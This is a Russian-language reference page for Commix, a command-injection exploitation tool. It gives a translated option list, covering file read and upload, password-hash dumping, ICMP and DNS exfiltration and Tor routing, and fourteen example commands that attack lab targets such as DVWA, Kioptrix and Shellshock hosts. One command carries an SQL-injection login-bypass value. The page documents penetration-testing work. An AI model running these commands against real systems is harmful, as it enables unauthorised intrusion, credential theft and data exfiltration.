Commix - command injection exploiter

Консольная утилита, имеет простую среду и может использоваться веб-разработчиками, тестерами на проникновение и даже исследователями безопасности для тестирования веб-приложений в поисках багов, ошибок или уязвимостей, связанных с атаками инъекцией команд. С помощью этого инструмента очень легко находить и эксплуатировать уязвимости инъекции команд в конкретном уязвимом параметре или строке. Commix написан на языке программирования Python.
Домашняя страница: https://github.com/stasinopoulos/commix
Автор: Anastasios Stasinopoulos
Лицензия: GPLv3
Справка по Commix
Использование:
python commix.py [опции]
Опции:
-h, --help Показать справку и выйти.
Общие:
Эти параметры являются общими при различном использовании.
--verbose Включить вербальный режим.
--version Показать номер версии и выйти.
--output-dir=OUT.. Установить пользовательский путь директории вывода.
-s SESSION_FILE Загрузить сессию из сохранённого (.sqlite) файла.
--flush-session Очистить файлы сессии для текущей цели.
--ignore-session Игнорировать результаты, сохранённые в файле сессии.
Цель:
Эти опции участвуют в определении URL цели.
-u URL, --url=URL Целевой URL.
--url-reload Перезагрузить целевой URL после выполнения команды.
-l LOGFILE Парсить цель и данные из лог файла HTTP proxy.
Запрос:
Эти опции могут использовать для определения, как подключаться к целевому URL.
--data=DATA Строка данных для отправки через POST.
--host=HOST Заголовок HTTP Host.
--referer=REFERER Заголовок HTTP Referer.
--user-agent=AGENT Заголовок HTTP User-Agent.
--random-agent Использовать случайно выбранный заголовок HTTP User-Agent.
--param-del=PDEL Установить символ для разделения значений параметра.
--cookie=COOKIE Заголовок HTTP Cookie.
--cookie-del=CDEL Установить символ для разделения значений cookie.
--headers=HEADERS Дополнительные заголовки (к примеру, 'Header1:Value1\nHeader2:Value2').
--proxy=PROXY Использовать HTTP прокси (к примеру, '127.0.0.1:8080').
--tor Использовать сеть Tor.
--tor-port=TOR_P.. Установить порт прокси Tor (по умолчанию: 8118).
--auth-url=AUTH_.. URL панели входа.
--auth-data=AUTH.. Параметры входа и данные.
--auth-type=AUTH.. Тип HTTP аутентификации (к примеру, 'basic').
--auth-cred=AUTH.. Учётные данные HTTP аутентификации (к примеру, 'admin:admin').
--ignore-401 Игнорировать HTTP ошибку 401 (Unauthorized).
--force-ssl Принудительное использование SSL/HTTPS.
Перечень:
Эти опции могут использоваться для перечисления свойств целевого хоста.
--all Получить всё.
--current-user Получить текущее имя пользователя.
--hostname Получить текущее имя хоста.
--is-root Проверить, имеет ли текущий пользователь привилегии рута.
--is-admin Проверить, имеет ли текущий пользователь привилегии админа.
--sys-info Получить информацию о системе.
--users Получить системных пользователей.
--passwords Получить хеши паролей системных пользователей.
--privileges Получить системные пользовательские привилегии.
--ps-version Получить номер версии PowerShell.
Доступ к файлам:
Эти опции могут использоваться для доступа к файлам на целевом хосте.
--file-read=FILE.. Прочитать файл с целевого хоста.
--file-write=FIL.. Записать файл на целевой хост.
--file-upload=FI.. Выгрузить файл на целевой хост.
--file-dest=FILE.. Абсолютный путь на хосте для записи и/или выгрузки.
Модули:
Эти опции могут использоваться для увеличения возможностей
выявления и/или инъекции.
--icmp-exfil=IP_.. Техника инъекции 'icmp exfiltration'
(к примеру 'ip_src=192.168.178.1,ip_dst=192.168.178.3').
--dns-server=DNS.. Модуль инъекции 'DNS exfiltration'.
(Доменное имя, используемое для атаки DNS exfiltration).
--shellshock Техника инъекции 'shellshock'.
Инъекция:
Эти опции могут использоваться для указания, какие параметры вставлять для
инжекта и передачи пользовательских запросов инъекции.
-p TEST_PARAMETER Тестируемый параметр(ы).
--suffix=SUFFIX Суффиксная строка запроса для инъекции.
--prefix=PREFIX Префиксная строка запроса для инъекции.
--technique=TECH Указать технику(и) для инъекции.
--maxlen=MAXLEN Установить максимальную длину вывода для основанной
на времени технике инъекции (По умолчанию: 10000 символов).
--delay=DELAY Установить время задержки для основанных на времени
техник инъекции (По умолчанию: 1 секунда).
--tmp-path=TMP_P.. Установить абсолютный путь временной директории веб-сервера.
--root-dir=SRV_R.. Установить абсолютный путь рут директории веб-сервера.
--alter-shell=AL.. Использовать альтернативный шелл ОС (к примеру, Python).
--os-cmd=OS_CMD Выполнить отдельную команду операционной системы.
--os=OS Force back-end operating system to this value.
--tamper=TAMPER Использовать данный скрипт(ы) для всовывания данных инъекции.
Выявление:
Эти опции могут использоваться для настройки фазы выявления.
--level=LEVEL Уровень выполняемого тестирования (1-3, По умолчанию: 1).
Разное:
--dependencies Проверка на сторонние (не ключевые) зависимости.
--skip-waf Пропустить эврестическое обнаружение защиты WAF/IPS/IDS.
Примеры команд
1. Exploiting Damn Vulnerable Web App:
root@kali:~/commix# python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=127.0.0.1&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"
2. Exploiting php-Charts 1.0 using injection payload suffix & prefix string:
root@kali:~/commix# python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=test" --prefix="'" --suffix="//"
3. Exploiting OWASP Mutillidae using extra headers and HTTP proxy:
root@kali:~/commix# python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=127.0.0.1" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"
4. Exploiting Persistence using ICMP exfiltration technique:
root@kali:~/commix# python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8"
5. Exploiting Persistence using an alternative (python) shell:
root@kali:~/commix# python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --alter-shell="Python"
6. Exploiting Kioptrix: Level 1.1 (#2):
root@kali:~/commix# python commix.py --url="http://192.168.178.2/pingit.php" --data="ip=127.0.0.1E&submit=submit" --auth-url="http://192.168.178.2/index.php" --auth-data="uname=admin&psw=%27+OR+1%3D1--+-&btnLogin=Login"
7. Exploiting Kioptrix: 2014 (#5) using custom user-agent and specified injection technique:
root@kali:~/commix# python commix.py --url="http://192.168.178.6:8080/phptax/drawimage.php?pfilez=127.0.0.1&pdf=make" --user-agent="Mozilla/4.0 Mozilla4_browser" --technique="f" --root-dir="/"
8. Exploiting CVE-2014-6271/Shellshock:
root@kali:~/commix# python commix.py --url="http://192.168.178.4/cgi-bin/status/" --shellshock
9. Exploiting commix-testbed (cookie) using cookie-based injection:
root@kali:~/commix# python commix.py --url="http://192.168.2.8/commix-testbed/scenarios/cookie/cookie(blind).php" --cookie="addr=127.0.0.1"
10. Exploiting commix-testbed (user-agent) using ua-based injection:
root@kali:~/commix# python commix.py --url="http://192.168.2.4/commix-testbed/scenarios/user-agent/ua(blind).php" --level=3
11. Exploiting commix-testbed (referer) using referer-based injection:
root@kali:~/commix# python commix.py --url="http://192.168.2.4/commix-testbed/scenarios/referer/referer(classic).php" --level=3
12. Exploiting Flick 2 using custom headers and base64 encoding option:
root@kali:~/commix# python commix.py --url="https://192.168.2.12/do/cmd/*" --headers="X-UUID:commix\nX-Token:dTGzPdMJlOoR3CqZJy7oX9JU72pvwNEF" --base64
13. Exploiting commix-testbed (JSON-based) using JSON POST data:
root@kali:~/commix# python commix.py --url="http://192.168.2.11/commix-testbed/scenarios/regular/POST/classic_json.php" --data='{"addr":"127.0.0.1","name":"ancst"}'
14. Exploiting SickOs 1.1 using shellshock module and HTTP proxy:
root@kali:~/commix# python commix.py --url="http://192.168.2.8/cgi-bin/status" --shellshock --proxy="192.168.2.8:3128"
https://www.youtube.com/watch?v=A57pbJA706U
Комментарии